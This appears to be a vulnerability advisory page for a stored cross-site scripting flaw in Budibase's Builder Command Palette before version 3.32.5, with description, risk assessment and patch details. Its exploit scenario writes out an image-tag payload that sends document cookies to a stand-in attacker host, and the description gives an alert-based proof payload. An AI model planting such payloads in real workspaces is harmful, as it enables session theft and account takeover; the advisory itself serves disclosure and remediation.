Lifecycle Timeline
6DescriptionGitHub Advisory
Budibase is an open-source low-code platform. Prior to version 3.32.5, Budibase's Builder Command Palette renders entity names (tables, views, queries, automations) using Svelte's {@html} directive without any sanitization. An authenticated user with Builder access can create a table, automation, view, or query whose name contains an HTML payload (e.g. <img src=x onerror=alert(document.domain)>). When any Builder-role user in the same workspace opens the Command Palette (Ctrl+K), the payload executes in their browser, stealing their session cookie and enabling full account takeover. This issue has been patched in version 3.32.5.
AnalysisAI
Stored cross-site scripting (XSS) in Budibase's Builder Command Palette (versions prior to 3.32.5) enables authenticated Builder users to inject malicious HTML payloads via entity names (tables, views, queries, automations), achieving session hijacking and account takeover when other Builder-role users invoke the Command Palette. CVSS 8.7 with changed scope reflects the cross-user attack vector. …

Vulnerability AssessmentAI
| Exploitation | Requires authenticated Budibase Builder-role access to create a malicious entity (table, automation, view, or query) with HTML payload in its name. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Real-world risk is elevated for multi-user Budibase deployments with multiple Builder-role accounts. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated insider (disgruntled developer, compromised contractor account, or malicious team member) with Builder privileges logs into a shared Budibase workspace and creates a new table named <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>. When the workspace administrator or another Builder user opens the Command Palette (Ctrl+K) to search entities during normal workflow, the malicious entity name renders via {@html}, executing the JavaScript payload. … |
| Remediation | Vendor-released patch: Upgrade to Budibase version 3.32.5 or later, available at https://github.com/Budibase/budibase/releases/tag/3.32.5. … Detailed patch versions, workarounds, and compensating controls in full report. |
